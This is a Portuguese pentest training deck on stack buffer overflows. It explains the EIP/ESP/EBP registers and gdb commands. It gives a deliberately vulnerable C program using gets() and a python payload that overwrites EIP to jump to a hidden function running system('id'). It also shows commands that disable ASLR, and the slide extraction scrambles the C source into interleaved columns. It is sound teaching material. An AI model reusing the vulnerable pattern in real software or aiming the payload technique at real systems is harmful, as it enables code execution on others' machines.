Carlos Tuma – RedTeam – Pentest - BugHunter
Em segurança computacional e programação, um transbordamento de dados ou estouro de
buffer (do inglês buffer overflow ou buffer overrun) é uma anomalia onde um programa, ao
escrever dados em um buffer, ultrapassa os limites do buffer e sobrescreve a memória
adjacente. Esse é um caso especial de violação de segurança de memória.
Estouros de buffer podem ser disparados por entradas que são projetadas para executar
código, ou alterar o modo como o programa funciona. Isso pode resultar em comportamento
errado do programa, incluindo erros de acesso à memória, resultados incorretos, parada total
do sistema, ou uma brecha num sistema de segurança. Portanto, eles são a base de muitas
vulnerabilidade de software e pode ser explorados maliciosamente.
https://pt.wikipedia.org/wiki/Transbordamento_de_dados
Carlos Tuma – Pentest
ESP, EBP e EIP são criticamente importantes para entender e executar um estouro de
buffer.
ESP: Ponteiro de pilha.
EBP: Ponteiro base.
EIP: Ponteiro de instruções.
O acesso ao EIP é a chave para o ataque de estouro de buffer. Se for acessível,
podemos então fazê-lo apontar para o nosso código malicioso.
Quando os dados são inseridos, ele entra na pilha em ordem inversa. A pilha cresce
em direção ao EBP. Se conseguirmos empurrar com sucesso mais dados para a pilha
que ele alocou, podemos possivelmente passar o EBP para o EIP (vermelho) e ter o EIP
substituído e apontar nosso código.
Então, o EIP apontará nosso código e começará a execução. Executamos um estouro de
buffer e ganhamos o controle da aplicação.
https://www.hebunilhanli.com/wonderland/bof-101/
https://sghosh2402.medium.com/understanding-exploiting-stack-based-buffer-overflows-acf9b8659cba
Carlos Tuma – Pentest
Carlos Tuma – Pentest
Carlos Tuma – Pentest
info functions
disas main
Carlos Tuma – Pentest
man strcmp
Carlos Tuma – Pentest
Carlos Tuma – Pentest
Carlos Tuma – Pentest
x/16xw $esp
#visualizar 16b em hex
formato word de esp
x/20s $eip
#visualizar 20b em formato
Strig registrador eip
run ou r
#execucao
run < arquivo.txt
# envia arquivo para
o binario
Carlos Tuma – Pentest
run < <(python -c 'print("A" * 200 )')
#executar programa, enviando 200 * A , para executar como direcionamento
Se fosse utilizado como argumento ficaria assim: $(python -c ‘print(“A” *200)’)
Carlos Tuma – Pentest
c # continua a execução dps
dps do break point. #disassembly function
d # delete break point. disas main
disas verifica
run ou r # rodar programa
b* 0x5555555 # adciona
break point
Carlos Tuma – Pentest
Carlos Tuma – Pentest
Carlos Tuma – Pentest
Carlos Tuma – Pentest
Carlos Tuma – Pentest
0x56556270
run < <(python -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')
Carlos Tuma – Pentest
Carlos Tuma – Pentest
set $eip = 0x56556270
set $pc = 0x56556270
Carlos Tuma – Pentest
Carlos Tuma – Pentest
#include <stdio.h> acessa(){
#include <stdlib.h> printf("Bem vindo!\n");
#define password "carlostuma“ system("id");
#define password2 "123“ return 0;
}
verifica(){
char pw[128]; int main(int argc, char *argv[])
printf("Digite a senha: "); {
gets(pw); if(argc > 1){
printf("Sem argumentos!\n");
if (strcmp(pw, password2) == 0) exit(1);
printf("Senha desativada\n"); }
else if (strcmp(pw, password) == 0) verifica();
acessa(); return 0;
else }
printf("Acesso negado\n");
return 0;
}
Carlos Tuma – Pentest
A randomização do layout de endereço (ASLR) é uma técnica de segurança de computador envolvida na
prevenção da exploração de vulnerabilidades de corrupção de memória.
A fim de evitar que um invasor pule de forma confiável para, por exemplo, uma determinada função
explorada na memória, o ASLR organiza aleatoriamente as posições de espaço de endereço das
principais áreas de dados de um processo, incluindo a base do executável e as posições da pilha, pilha
e bibliotecas.
https://en.wikipedia.org/wiki/Address_space_layout_randomization
Carlos Tuma – Pentest
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gcc code.c -o protegido
gcc –m32 code.c -o protegido
sudo apt-get install gcc-multilib
https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558
Carlos Tuma – Pentest
“Lembre-se que as
pessoas podem tirar
tudo de você, menos
o seu conhecimento.”
Albert Einstein
Agradecimentos aos amigos de grupo, especial
ao Felipe por todo apoio nas trips, para resolver
as panes e sempre nos estudos.
Obrigado!!!